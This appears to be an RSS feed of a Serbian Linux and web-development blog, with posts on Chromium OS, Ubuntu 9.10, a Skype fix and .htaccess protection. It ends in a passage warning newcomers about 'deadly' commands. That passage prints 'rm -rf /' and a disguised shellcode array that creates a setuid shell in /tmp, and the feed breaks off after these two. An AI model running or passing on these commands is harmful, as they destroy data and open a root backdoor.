<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Stefan Jocić &#187; Linux</title>
	<atom:link href="http://www.stefanjocic.com/category/linux/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.stefanjocic.com</link>
	<description>IT &#38; Web Development Blog</description>
	<lastBuildDate>Sun, 04 Jul 2010 23:36:28 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.0</generator>
		<item>
		<title>Chromium OS/Cloud &#8211; Razjašnjenje</title>
		<link>http://www.stefanjocic.com/2009/11/22/chromium-oscloud-razjasnjenje/</link>
		<comments>http://www.stefanjocic.com/2009/11/22/chromium-oscloud-razjasnjenje/#comments</comments>
		<pubDate>Sun, 22 Nov 2009 22:43:36 +0000</pubDate>
		<dc:creator>Stefan J.</dc:creator>
				<category><![CDATA[Google]]></category>
		<category><![CDATA[IT Novosti]]></category>
		<category><![CDATA[Linux]]></category>

		<guid isPermaLink="false">http://www.stefanjocic.com/?p=447</guid>
		<description><![CDATA[Pre nekoliko meseci, iznenadio nas je Google, svojom izjavom da su počeli razvoj operativnog sistema. Većina neupućenih korisnika nije razumela osnovnu namenu i tip ovog operativnog sistema. Kao što je i u saopštenju na njihovom zvaničnom blogu bilo napomenuto radi se o operativnom sistemu koji je pre svega namenjen netbook-ovima i android-ima. Naravno podržan je [...]]]></description>
			<content:encoded><![CDATA[<p></p>
<div class="topsy_widget_data topsy_theme_blue" style="float: right;margin-left: 0.75em; background: url(data:,%7B%20%22url%22%3A%20%22http%253A%252F%252Fwww.stefanjocic.com%252F2009%252F11%252F22%252Fchromium-oscloud-razjasnjenje%252F%22%2C%20%22style%22%3A%20%22big%22%2C%20%22title%22%3A%20%22Chromium%20OS%2FCloud%20-%20Razja%C5%A1njenje%22%20%7D);"></div>
<p style="text-align: justify;"><span class="drop_cap">P</span>re nekoliko meseci, iznenadio nas je <a href="http://www.google.com">Google</a>, <a href="http://googleblog.blogspot.com/2009/07/introducing-google-chrome-os.html">svojom izjavom</a> da su počeli razvoj <a href="http://gdgt.com/">operativnog sistema</a>. Većina neupućenih korisnika nije razumela osnovnu namenu i tip ovog operativnog sistema. Kao što je i u saopštenju na njihovom zvaničnom blogu bilo napomenuto radi se o operativnom sistemu koji je pre svega namenjen netbook-ovima i android-ima. Naravno podržan je i rad na desktop računaru. Ovih dana dosta ljudi je izrazilo nezadovoljstvo ovim operativnim sistemom. Problem je u njihovom znanju, a neki od njih su čak i pogrešno shvatili nameru Googla. Budući da je sam OS baziran na Linux kernel-u, verovatno je većina očekivala revolucionarni operativni sistem. Isti su se i razočarali gledajući screencastove, video klipove na kojima se jasno vidi interfejs, podešavanja i usability. Za razliku od standardnih operativnih sistema na koje je većina navikla, postoji i drugi tip operativnih sistema &#8211; <em><span style="text-decoration: underline;">Cloud</span></em>. Sama zamisao Cloud sistema jeste da se svi podaci, aplikacije i podešavanja nalaze van korisničkog računara na nekom web serveru. <em>Cloud-computing </em>se poslednjih godina zamišlja kao budućnost i olakšica svakom korisniku. Postoji puno prednosti ovakvih sistema, ali kao jedan od glavnih sigurno jeste &#8222;<em>dostupnost podataka bilo kome i svuda&#8220; . </em>Sigurnost ovakvih sistema su posebna tema i diskusija za sebe, tako da ću to prokomentarisati u nekom od narednih članaka. Današnji Cloud operativni sistem većinom sadrže samo browser i prečice ka važnijim web servisima i aplikacijama, dok ni osnovih lokalnih aplikacija nema, što je malo nepraktično. Pa tako i <em>Chromium OS</em> (nazvan po <em>Chromium pregledniku</em>).</p>
<p style="text-align: justify;"><img class="aligncenter size-full wp-image-451" title="chromium-os-proba" src="http://www.stefanjocic.com/wp-content/uploads/2009/11/chromium-os-proba.png" alt="chromium-os-proba" width="685" height="570" />Sam operativni sistem raspolaže sa nekoliko aplikacija koje možete koristiti (unutar Chromium browsera i popup-ova). Neki od važnijih su GMail, Google Calendar, Google Docs, Contacts, Calculator itd.</p>
<p style="text-align: justify;"><img class="aligncenter size-full wp-image-453" title="chromium-os-proba-1" src="http://www.stefanjocic.com/wp-content/uploads/2009/11/chromium-os-proba-1.png" alt="chromium-os-proba-1" width="685" height="571" />Generalno sistem koji je napravljen isključivo za chat, komunikaciju, razmenu informacija i surfovanje globalnom mrežom. Iako mnogi tvrde da će ovo biti najbolji cloud OS, a neki čak i da je ovo jedini, na to mogu samo reći da Google <span style="text-decoration: underline;"><strong>nikako nije prvi</strong></span>. Više od godinu dana <a href="http://www.thinkgos.com/index.html" target="_blank">GreenOS</a> promoviše <a href="http://www.thinkgos.com/cloud/index.html" target="_blank">svoj cloud sistem</a> (takođe baziran na linux kernel-u). I naravno u sebi ima uključeno većinu Google servisa.</p>
<p style="text-align: justify;">Nego da se vratim na temu. Mnogi su imali problema i sa instalacijom Chromium OS-a. Najveći problemi su se javljali prilikom instalacije na <em><a href="http://www.vmware.com/" target="_blank">vmware</a></em> i <em><a href="http://www.virtualbox.org/" target="_blank">virtualbox</a></em>. Naime sa Chromium-ovog sajta mogu se skinuti dve vrste image fajla za vmware i virtualbox. Uzeći u obzir da se većina žali na virtualbox-ov image fajl, slobodno skinite vmware-ov bez obzira koji od ova dva programa koristite. Kada budete skinuli image fajl, raspakujte ga, importujte ga u vmware ili virtualbox. I naravno kao vrstu OS-a izaberite Linux, pod distribucijom stavite Ubuntu (kod mene je upalilo). Startujte virtuelnu mašinu. Ukoliko dobijete problem da konekcija nije uspostavljena, tj. neće da prihvati login sa vašim korisničkim podacima sve što trebate da uradite jeste da se ulogujete/prijavite sa korisničkim imenom <strong><em>chronos<span style="font-weight: normal;"><span style="font-style: normal;">, bez lozinke. Posle logina možete podesiti vašu konekciju i korisničke detalje. U svakom slučaju vredi testirati, a i biće od koristi na android-ima i netbook-ovima. Kako taj cloud OS  izgleda na Chromium OS i GreenOS možete videti na snimcima ispod. Ukoliko imate bilo kakav problem slobodno napišite komentar, rešićemo!</span></span></em></strong></p>
<p><strong>Google Chromium OS</strong></p>
<p><object classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000" width="660" height="405" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=6,0,40,0"><param name="allowFullScreen" value="true" /><param name="allowscriptaccess" value="always" /><param name="src" value="http://www.youtube.com/v/A_P-gpJr8ug&amp;hl=en_US&amp;fs=1&amp;hd=1&amp;border=1" /><param name="allowfullscreen" value="true" /><embed type="application/x-shockwave-flash" width="660" height="405" src="http://www.youtube.com/v/A_P-gpJr8ug&amp;hl=en_US&amp;fs=1&amp;hd=1&amp;border=1" allowscriptaccess="always" allowfullscreen="true"></embed></object></p>
<p><strong>GreenOS Cloud</strong></p>
<p><object classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000" width="660" height="405" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=6,0,40,0"><param name="allowFullScreen" value="true" /><param name="allowscriptaccess" value="always" /><param name="src" value="http://www.youtube.com/v/S17HL0xU9cQ&amp;hl=en_US&amp;fs=1&amp;hd=1&amp;border=1" /><param name="allowfullscreen" value="true" /><embed type="application/x-shockwave-flash" width="660" height="405" src="http://www.youtube.com/v/S17HL0xU9cQ&amp;hl=en_US&amp;fs=1&amp;hd=1&amp;border=1" allowscriptaccess="always" allowfullscreen="true"></embed></object></p>

<div style="float:right;margin:0px 0px 10px 0px;"><a title="Post on Google Buzz" class="google-buzz-button" href="http://www.google.com/buzz/post" data-button-style="small-count" data-url="http://www.stefanjocic.com/2009/11/22/chromium-oscloud-razjasnjenje/"></a><script type="text/javascript" src="http://www.google.com/buzz/api/button.js"></script></div>]]></content:encoded>
			<wfw:commentRss>http://www.stefanjocic.com/2009/11/22/chromium-oscloud-razjasnjenje/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>LinuxSrbija.INFO &#8211; Linux blog, ali na srpskom!</title>
		<link>http://www.stefanjocic.com/2009/11/16/linuxsrbija-info-linux-blog-ali-na-srpskom/</link>
		<comments>http://www.stefanjocic.com/2009/11/16/linuxsrbija-info-linux-blog-ali-na-srpskom/#comments</comments>
		<pubDate>Mon, 16 Nov 2009 20:57:08 +0000</pubDate>
		<dc:creator>Stefan J.</dc:creator>
				<category><![CDATA[Linux]]></category>
		<category><![CDATA[Promocija sajtova]]></category>
		<category><![CDATA[Projekat]]></category>
		<category><![CDATA[srbija]]></category>

		<guid isPermaLink="false">http://www.stefanjocic.com/?p=361</guid>
		<description><![CDATA[Nedavno sam došao na ideju da pokrenem jedan projekat vezan za Linux OS. Reč je o blogu na adresi www.linuxsrbija.info . Za razliku od već postojećih blogova/sajtova ovaj projekat će biti fokusiran na različite Linux distribucije, desktop okruženja, problema pri radu i trenutnim interesantnim temama. Ekipa koja uređuje ovaj blog je nekima već poznata sa [...]]]></description>
			<content:encoded><![CDATA[<p></p>
<div class="topsy_widget_data topsy_theme_blue" style="float: right;margin-left: 0.75em; background: url(data:,%7B%20%22url%22%3A%20%22http%253A%252F%252Fwww.stefanjocic.com%252F2009%252F11%252F16%252Flinuxsrbija-info-linux-blog-ali-na-srpskom%252F%22%2C%20%22style%22%3A%20%22big%22%2C%20%22title%22%3A%20%22LinuxSrbija.INFO%20-%20Linux%20blog%2C%20ali%20na%20srpskom%21%22%20%7D);"></div>
<p style="text-align: justify;"><span class="drop_cap">N</span>edavno sam došao na ideju da pokrenem jedan projekat vezan za Linux OS. Reč je o blogu na adresi <a href="http://www.linuxsrbija.info">www.linuxsrbija.info</a> . Za razliku od već postojećih blogova/sajtova ovaj projekat će biti fokusiran na različite Linux distribucije, desktop okruženja, problema pri radu i trenutnim interesantnim temama. Ekipa koja uređuje ovaj blog je nekima već poznata sa <a href="http://www.elitesecurity.org">EliteSecurity.ORG</a> foruma, većina njih su moderatori Linux kategorije, a neki od njih pišu za mnoge domaće kompjuterske časopise.</p>
<p style="text-align: justify;"><img class="aligncenter size-full wp-image-409" title="linuxsrbijainfo" src="http://www.stefanjocic.com/wp-content/uploads/2009/11/linuxsrbijainfo.png" alt="linuxsrbijainfo" width="685" height="353" /></p>
<p style="text-align: justify;">Nažalost ekipa je još uvek mala, ali se polako okupljamo. Neki od aktivnih autora tekstova na blogu su <a href="http://www.oligofrenolog.info" target="_blank">Srđan Pavlović</a> i <a href="http://ivan.linuxsrbija.info">Ivan Bulatović</a>.  Za ovo kratko vreme od kako je blog počeo sa radom, napisano je 10-tak korisnih članaka. Blog je počeo sa radom 23. oktobra i do sada ima preko 2721 poseta.</p>
<p style="text-align: justify;"><img class="aligncenter size-full wp-image-413" title="statistika" src="http://www.stefanjocic.com/wp-content/uploads/2009/11/statistika.png" alt="statistika" width="611" height="442" /></p>
<p style="text-align: justify;">Ekipa bloga će se potruditi da na profesionalan način objavi materijal razumljiv kako početnicima tako i naprednim Linux korisnicima. Cilj projekta nije nikako osmišljen da sugeriše prelazak sa Windows-a/Mac-a na Linux platformu, jer smo svesni činjenica da svaki operativni sistem ima svoje mane i prednosti. Cilj je jednom rečju -&#8220;edukacija&#8220;, i ništa više. U bližoj budućnosti odradićemo reorganizaciju kategorija, i redizajn bloga. Ukoliko želite da se pridružite ovom projektu ili imate neku ideju možete me kontaktirati preko moje kontakt strane.</p>
<p style="text-align: justify;">Nove tekstove i dešavanja možete pratiti preko twitter-a ( <a href="http://www.twitter.com/linuxsrbija" target="_blank">@linuxsrbija</a> ) ili preko <a href="http://www.facebook.com/pages/LinuxSrbijaINFO/163212079813" target="_blank">Facebook-a</a>.</p>

<div style="float:right;margin:0px 0px 10px 0px;"><a title="Post on Google Buzz" class="google-buzz-button" href="http://www.google.com/buzz/post" data-button-style="small-count" data-url="http://www.stefanjocic.com/2009/11/16/linuxsrbija-info-linux-blog-ali-na-srpskom/"></a><script type="text/javascript" src="http://www.google.com/buzz/api/button.js"></script></div>]]></content:encoded>
			<wfw:commentRss>http://www.stefanjocic.com/2009/11/16/linuxsrbija-info-linux-blog-ali-na-srpskom/feed/</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
		<item>
		<title>Kako osigurati folder koristeći .htaccess?</title>
		<link>http://www.stefanjocic.com/2009/11/08/kako-osigurati-folder-koristeci-htaccess/</link>
		<comments>http://www.stefanjocic.com/2009/11/08/kako-osigurati-folder-koristeci-htaccess/#comments</comments>
		<pubDate>Sun, 08 Nov 2009 00:13:54 +0000</pubDate>
		<dc:creator>Stefan J.</dc:creator>
				<category><![CDATA[Hosting]]></category>
		<category><![CDATA[Linux]]></category>
		<category><![CDATA[.htaccess]]></category>
		<category><![CDATA[.htpasswd]]></category>
		<category><![CDATA[foldera]]></category>
		<category><![CDATA[zaštita]]></category>

		<guid isPermaLink="false">http://www.stefanjocic.com/?p=373</guid>
		<description><![CDATA[Ukoliko imate sajt verujem da bi ste određeni deo želeli da zaštitite, tj. da ograničite pristup određenoj grupi ljudi. Ili pak da zaštitite vaš administratorski folder. Najlakši način bez kopanja po PHP kodu jeste .htaccess . Najlakši način da ovo obavite koristeći .htaccess je opisan ispod. 1. Otvorite vaš omiljeni tekst editor i zabeležite dokument [...]]]></description>
			<content:encoded><![CDATA[<p></p>
<div class="topsy_widget_data topsy_theme_blue" style="float: right;margin-left: 0.75em; background: url(data:,%7B%20%22url%22%3A%20%22http%253A%252F%252Fwww.stefanjocic.com%252F2009%252F11%252F08%252Fkako-osigurati-folder-koristeci-htaccess%252F%22%2C%20%22style%22%3A%20%22big%22%2C%20%22title%22%3A%20%22Kako%20osigurati%20folder%20koriste%C4%87i%20.htaccess%3F%22%20%7D);"></div>
<p style="text-align: justify;">Ukoliko imate sajt verujem da bi ste određeni deo želeli da zaštitite, tj. da ograničite pristup određenoj grupi ljudi. Ili pak da zaštitite vaš administratorski folder. Najlakši način bez kopanja po PHP kodu jeste <strong><em>.htaccess</em></strong> . Najlakši način da ovo obavite koristeći .htaccess je opisan ispod.</p>
<p>1. Otvorite vaš omiljeni tekst editor i zabeležite dokument pod nazivom <strong>.htaccess.</strong><br />
2. Pronađite folder koji želite da zaštitite i pogledajte njegovu lokaciju<br />
3. U .htaccess fajlu ubacite odgovarajuće linije:</p>
<pre class="brush: xml;">AuthUserFile /ovde/ide/putanja/do/foldera/.htpasswd
AuthName &quot;Zaštićen folder!&quot;
AuthType Basic
Require valid-user</pre>
<p style="text-align: justify;">4.Napravite novi fajl pod nazivom .htpasswd, unutar njega treba da stoji ovakva sadržina <strong>username:password</strong>. U ovom fajlu određujete korisnike koji mogu pristupiti zaštićenom folderu. Ali željenu šifru morate enkriptovati. Enkriptovani oblik vaše željene šifre možete dobiti na sledećoj adresi: <a href="http://users.abac.com/cgi-bin/pass.pl">http://users.abac.com/cgi-bin/pass.pl</a> . Recimo da je moja željena šifra <em>&#8222;stefanjocic.com&#8220;</em>, onda bi enkriptovani oblik izgledao ovako <em>&#8222;rMjeiW4wbHKkU&#8220;. </em>Ispod možete pogledati primer pravilno popunjenog .htpasswd fajla.</p>
<pre class="brush: xml;">
/*Ovo je primer .htpasswd fajla*/
stefan:rMjeiW4wbHKkU
</pre>
<p>5. Ova dva fajla (.htaccess i .htpasswd stavite u direktorijum koji želite da zaštitite)</p>
<p>6. Ovim fajlovima promenite dozvole (chmod) na 644.</p>
<p>Ako ste ispratili sve korake iznad, vaš folder bi trebao da je zaštićen šifrom. Putem <em>.htpasswd</em> možete dodavati više korisnika.</p>

<div style="float:right;margin:0px 0px 10px 0px;"><a title="Post on Google Buzz" class="google-buzz-button" href="http://www.google.com/buzz/post" data-button-style="small-count" data-url="http://www.stefanjocic.com/2009/11/08/kako-osigurati-folder-koristeci-htaccess/"></a><script type="text/javascript" src="http://www.google.com/buzz/api/button.js"></script></div>]]></content:encoded>
			<wfw:commentRss>http://www.stefanjocic.com/2009/11/08/kako-osigurati-folder-koristeci-htaccess/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Linux Ubuntu 9.10 BETA, dosta prijatnih iznenađenja!</title>
		<link>http://www.stefanjocic.com/2009/10/08/linux-ubuntu-9-10-beta-dosta-prijatnih-iznenadenja/</link>
		<comments>http://www.stefanjocic.com/2009/10/08/linux-ubuntu-9-10-beta-dosta-prijatnih-iznenadenja/#comments</comments>
		<pubDate>Thu, 08 Oct 2009 15:08:46 +0000</pubDate>
		<dc:creator>Stefan J.</dc:creator>
				<category><![CDATA[Linux]]></category>

		<guid isPermaLink="false">http://www.stefanjocic.com/?p=244</guid>
		<description><![CDATA[Još samo 20-tak dana do finalne verzije novog Ubuntu 9.10 Karmic Koala, nisam bio strpljiv pa sam morao da probam zvaničnu beta verziju. Moji utisci su mahom pozitivni, sem nekoliko mali bug-ova koji se nadam da će uskoro biti uklonjeni sledećim updejtom. Ova verzija Ubuntu-a ima ugrađen Linux kernel 2.6.31 i GRUB 2.0. Novi ext4 [...]]]></description>
			<content:encoded><![CDATA[<p></p>
<div class="topsy_widget_data topsy_theme_blue" style="float: right;margin-left: 0.75em; background: url(data:,%7B%20%22url%22%3A%20%22http%253A%252F%252Fwww.stefanjocic.com%252F2009%252F10%252F08%252Flinux-ubuntu-9-10-beta-dosta-prijatnih-iznenadenja%252F%22%2C%20%22style%22%3A%20%22big%22%2C%20%22title%22%3A%20%22Linux%20Ubuntu%209.10%20BETA%2C%20dosta%20prijatnih%20iznena%C4%91enja%21%22%20%7D);"></div>
<p style="text-align: justify;">Još samo 20-tak dana do finalne verzije novog Ubuntu 9.10 Karmic Koala, nisam bio strpljiv pa sam morao da probam zvaničnu beta verziju. Moji utisci su mahom pozitivni, sem nekoliko mali bug-ova koji se nadam da će uskoro biti uklonjeni sledećim updejtom. Ova verzija Ubuntu-a ima ugrađen Linux kernel 2.6.31 i GRUB 2.0. Novi ext4 filesystem se koristi po default-u za nove (fresh) instalacije. Od standardnog softvera tu su najnovije verzije OpenOffice.ORG (3.1), Mozilla Firefox (3.5), Gimp i mnogi drugi. Pidgin više nije instaliran sa sistemom, umesto njega instaliran je drugi IM klijent (Empathy IM Client), verovatno zbog brojnih bugova u zadnjim verzijama Pidgin-a. Add/Remove programs, sada se zove Ubuntu Software Center, koji za razliku od starog interfejsa ima mnogo bolju kategorizaciju dostupnih softvera. Tu je i Ubuntu One prečica, koja vodi do Ubuntu file sharing system, koja vam besplatno omogućuje sharing fajlova do 2 gb. Još uvek nisam probao kako Ubuntu One funkcioniše.</p>
<div class="wp-caption aligncenter" style="width: 545px">
	<img title="Ubuntu 9.10 Beta" src="http://www.stefanjocic.com/wp-content/uploads/2009/10/ubuntu910ss1.png" alt="" width="545" height="340" />
	<p class="wp-caption-text">Ubuntu 9.10 Beta</p>
</div>
<p style="text-align: justify;"><span id="more-244"></span></p>
<div id="attachment_254" class="wp-caption aligncenter" style="width: 544px">
	<img class="size-full wp-image-254" title="ubuntu910ss2" src="http://www.stefanjocic.com/wp-content/uploads/2009/10/ubuntu910ss2.png" alt="Ubuntu 9.10 Beta" width="544" height="338" />
	<p class="wp-caption-text">Ubuntu 9.10 Beta</p>
</div>
<div id="attachment_256" class="wp-caption aligncenter" style="width: 547px">
	<img class="size-full wp-image-256" title="ubuntu910ss3" src="http://www.stefanjocic.com/wp-content/uploads/2009/10/ubuntu910ss3.png" alt="Ubuntu 9.10 Beta" width="547" height="340" />
	<p class="wp-caption-text">Ubuntu 9.10 Beta</p>
</div>
<div id="attachment_257" class="wp-caption aligncenter" style="width: 546px">
	<img class="size-full wp-image-257" title="ubuntu910ss4" src="http://www.stefanjocic.com/wp-content/uploads/2009/10/ubuntu910ss4.png" alt="Ubuntu 9.10 Beta" width="546" height="340" />
	<p class="wp-caption-text">Ubuntu 9.10 Beta</p>
</div>
<div id="attachment_258" class="wp-caption aligncenter" style="width: 548px">
	<img class="size-full wp-image-258" title="ubuntu910ss5" src="http://www.stefanjocic.com/wp-content/uploads/2009/10/ubuntu910ss5.png" alt="Ubuntu 9.10 Beta" width="548" height="342" />
	<p class="wp-caption-text">Ubuntu 9.10 Beta</p>
</div>
<div id="attachment_259" class="wp-caption aligncenter" style="width: 549px">
	<img class="size-full wp-image-259" title="ubuntu910ss6" src="http://www.stefanjocic.com/wp-content/uploads/2009/10/ubuntu910ss6.png" alt="Ubuntu 9.10 Beta" width="549" height="342" />
	<p class="wp-caption-text">Ubuntu 9.10 Beta</p>
</div>
<p style="text-align: justify;">Pored svih prijatnih iznenađenja, imam i malo loših vesti. Instalacija .DEB paketa dvoklikom ne radi, izbacuje grešku, što će za većinu novih Linux korisnika biti problem jer malo njih zna instaliranje paketa preko terminala.</p>
<p style="text-align: justify;">
<div id="attachment_260" class="wp-caption aligncenter" style="width: 547px">
	<img class="size-full wp-image-260" title="debdvoklik" src="http://www.stefanjocic.com/wp-content/uploads/2009/10/debdvoklik.png" alt="Ubuntu 9.10 Beta: Bug pri instalaciji .DEB paketa dvoklikom" width="547" height="498" />
	<p class="wp-caption-text">Ubuntu 9.10 Beta: Bug pri instalaciji .DEB paketa dvoklikom</p>
</div>
<p style="text-align: justify;">Instalacija preko terminala ide odlično, i preko repoa, i instaliranje lokalnih paketa.</p>
<p style="text-align: justify;">
<div id="attachment_261" class="wp-caption aligncenter" style="width: 550px">
	<img class="size-full wp-image-261" title="debterminal" src="http://www.stefanjocic.com/wp-content/uploads/2009/10/debterminal.png" alt="Ubuntu 9.10 Beta: Instalacija .DEB paketa preko terminala" width="550" height="362" />
	<p class="wp-caption-text">Ubuntu 9.10 Beta: Instalacija .DEB paketa preko terminala</p>
</div>
<p style="text-align: justify;">Postoje i mali problemi sa pucanjem pojedinih programa, ali verujem da će se to rešiti do izlaska finalne verzije. Kod mene je dosada pukao Empathy IM i Evolution Mail. Preporučujem svima da sačekaju finalnu verziju, barem onima kojima je stabilnost važnija.</p>

<div style="float:right;margin:0px 0px 10px 0px;"><a title="Post on Google Buzz" class="google-buzz-button" href="http://www.google.com/buzz/post" data-button-style="small-count" data-url="http://www.stefanjocic.com/2009/10/08/linux-ubuntu-9-10-beta-dosta-prijatnih-iznenadenja/"></a><script type="text/javascript" src="http://www.google.com/buzz/api/button.js"></script></div>]]></content:encoded>
			<wfw:commentRss>http://www.stefanjocic.com/2009/10/08/linux-ubuntu-9-10-beta-dosta-prijatnih-iznenadenja/feed/</wfw:commentRss>
		<slash:comments>4</slash:comments>
		</item>
		<item>
		<title>Skype 4.0 problem sa Audio Playback na Ubuntu 9.04</title>
		<link>http://www.stefanjocic.com/2009/06/18/skype-4-0-problem-sa-audio-playback-na-ubuntu-9-04/</link>
		<comments>http://www.stefanjocic.com/2009/06/18/skype-4-0-problem-sa-audio-playback-na-ubuntu-9-04/#comments</comments>
		<pubDate>Thu, 18 Jun 2009 21:34:06 +0000</pubDate>
		<dc:creator>Stefan J.</dc:creator>
				<category><![CDATA[Komunikacije]]></category>
		<category><![CDATA[Linux]]></category>
		<category><![CDATA[audio playback]]></category>
		<category><![CDATA[greška]]></category>
		<category><![CDATA[jackalope]]></category>
		<category><![CDATA[janity]]></category>
		<category><![CDATA[problem]]></category>
		<category><![CDATA[skype]]></category>
		<category><![CDATA[ubuntu]]></category>
		<category><![CDATA[ubuntu 9.04]]></category>
		<category><![CDATA[VoIP]]></category>

		<guid isPermaLink="false">http://www.stefanjocic.com/?p=38</guid>
		<description><![CDATA[Zadnje dve verzije Linux Ubuntu-a (Intrepid Ibex i Jaunty Jackalope) imaju problema sa najpoznatijim VoIP programom &#8211; Skype. Naime problem se javlja prilikom uspostavljanja veze i dobija se sledeća greška: &#8222;Problem with Audio Playback&#8222;. Mnogi od korisnika Linux sistema odmah pomisle da nešto nije uredu sa hardware-om, ali je poblem na svu ne(sreću) softverski. Naravno [...]]]></description>
			<content:encoded><![CDATA[<p></p>
<div class="topsy_widget_data topsy_theme_blue" style="float: right;margin-left: 0.75em; background: url(data:,%7B%20%22url%22%3A%20%22http%253A%252F%252Fwww.stefanjocic.com%252F2009%252F06%252F18%252Fskype-4-0-problem-sa-audio-playback-na-ubuntu-9-04%252F%22%2C%20%22style%22%3A%20%22big%22%2C%20%22title%22%3A%20%22Skype%204.0%20problem%20sa%20Audio%20Playback%20na%20Ubuntu%209.04%20%22%20%7D);"></div>
<p style="text-align: justify;">Zadnje dve verzije Linux Ubuntu-a (<em>Intrepid Ibex i </em><em>Jaunty Jackalope</em>) imaju problema sa najpoznatijim VoIP programom &#8211; Skype. Naime problem se javlja prilikom uspostavljanja veze i dobija se sledeća greška: &#8222;<strong>Problem with Audio Playback</strong>&#8222;. Mnogi od korisnika Linux sistema odmah pomisle da nešto nije uredu sa hardware-om, ali je poblem na svu ne(sreću) softverski. Naravno to se lako može rešiti, malom intevencijom preko terminala. Ova greška je uočena na ranijim verzijama Ubuntu/Skype, ali i današnji Ubuntu 9.04/Skype 4.0 imaju ovu grešku.<span id="more-38"></span> Problem možete rešiti sledećim postupkom:</p>
<p style="text-align: justify;"><em><strong>1.Otvorite terminal i ukucajte:</strong></em></p>
<p style="text-align: justify;">
<pre class="brush: plain;">

killall pulseaudio

sudo apt-get remove pulseaudio

sudo apt-get install esound

sudo rm /etc/X11/Xsession.d/70pulseaudio
</pre>
<p style="text-align: justify;">
<p style="text-align: justify;">Da bi Skype 4.0 proradio na Ubuntu 8 ili 9, potrebno je posle ovog postupka da se restartuje računar. Ukoliko imate neko pitanje slobodno ostavite komentar.</p>
<p style="text-align: justify;"><em><strong><br />
</strong></em></p>
<p style="text-align: justify;">

<div style="float:right;margin:0px 0px 10px 0px;"><a title="Post on Google Buzz" class="google-buzz-button" href="http://www.google.com/buzz/post" data-button-style="small-count" data-url="http://www.stefanjocic.com/2009/06/18/skype-4-0-problem-sa-audio-playback-na-ubuntu-9-04/"></a><script type="text/javascript" src="http://www.google.com/buzz/api/button.js"></script></div>]]></content:encoded>
			<wfw:commentRss>http://www.stefanjocic.com/2009/06/18/skype-4-0-problem-sa-audio-playback-na-ubuntu-9-04/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>7 “smrtnih” Linux komandi!</title>
		<link>http://www.stefanjocic.com/2009/05/15/7-%e2%80%9csmrtnih%e2%80%9d-linux-komandi/</link>
		<comments>http://www.stefanjocic.com/2009/05/15/7-%e2%80%9csmrtnih%e2%80%9d-linux-komandi/#comments</comments>
		<pubDate>Fri, 15 May 2009 15:27:03 +0000</pubDate>
		<dc:creator>Stefan J.</dc:creator>
				<category><![CDATA[Linux]]></category>
		<category><![CDATA[7]]></category>
		<category><![CDATA[hack]]></category>
		<category><![CDATA[komande]]></category>
		<category><![CDATA[opasno]]></category>
		<category><![CDATA[os]]></category>
		<category><![CDATA[pad]]></category>
		<category><![CDATA[sistema]]></category>
		<category><![CDATA[smrtonosne]]></category>

		<guid isPermaLink="false">http://www.stefanjocic.com/?p=17</guid>
		<description><![CDATA[Ukoliko ste novi u svetu Linuxa sigurno će Vam biti potrebna pomoć starijih Linux korisnika. Za sve vaše nedoumice i pitanja obraćate se na nekom od stručnih foruma. Pored onih korisnih odgovora, naićićete i na nekog “šaljivdžiju” koji će umesto pomoći stvoriti nove probleme. Uzeći u obzir da se naprednija podešavanja vrše najčešće preko Terminala.Sledeće [...]]]></description>
			<content:encoded><![CDATA[<p></p>
<div class="topsy_widget_data topsy_theme_blue" style="float: right;margin-left: 0.75em; background: url(data:,%7B%20%22url%22%3A%20%22http%253A%252F%252Fwww.stefanjocic.com%252F2009%252F05%252F15%252F7-%2525e2%252580%25259csmrtnih%2525e2%252580%25259d-linux-komandi%252F%22%2C%20%22style%22%3A%20%22big%22%2C%20%22title%22%3A%20%227%20%E2%80%9Csmrtnih%E2%80%9D%20Linux%20komandi%21%22%20%7D);"></div>
<p style="text-align: justify;">Ukoliko ste novi u svetu Linuxa sigurno će Vam biti potrebna pomoć starijih Linux korisnika. Za sve vaše nedoumice i pitanja obraćate se na nekom od stručnih foruma. Pored onih korisnih odgovora, naićićete i na nekog “šaljivdžiju” koji će umesto pomoći stvoriti nove probleme. Uzeći u obzir da se naprednija podešavanja vrše najčešće preko Terminala.<span id="more-17"></span>Sledeće komande izbegavajte!!!</p>
<p style="text-align: justify;"><strong>1.Komanda:</strong></p>
<p style="text-align: justify;">
<pre class="brush: xml;">rm -rf / </pre>
<p style="text-align: justify;"><em>Ova komanda briše sve vaše podatke iz root direktorijuma.</em></p>
<p style="text-align: justify;"><strong>2.Komanda</strong></p>
<p style="text-align: justify;">
<pre class="brush: xml;">char esp[] __attribute__ ((section(&quot;.text&quot;))) /* e.s.p
release */
= &quot;\xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64\x68&quot;
&quot;\xff\xff\xff\xff\x68\xdf\xd0\xdf\xd9\x68\x8d\x99&quot;
&quot;\xdf\x81\x68\x8d\x92\xdf\xd2\x54\x5e\xf7\x16\xf7&quot;
&quot;\x56\x04\xf7\x56\x08\xf7\x56\x0c\x83\xc4\x74\x56&quot;
&quot;\x8d\x73\x08\x56\x53\x54\x59\xb0\x0b\xcd\x80\x31&quot;
&quot;\xc0\x40\xeb\xf9\xe8\xbd\xff\xff\xff\x2f\x62\x69&quot;
&quot;\x6e\x2f\x73\x68\x00\x2d\x63\x00&quot;
&quot;cp -p /bin/sh /tmp/.beyond; chmod 4755
/tmp/.beyond;&quot;;  </pre>
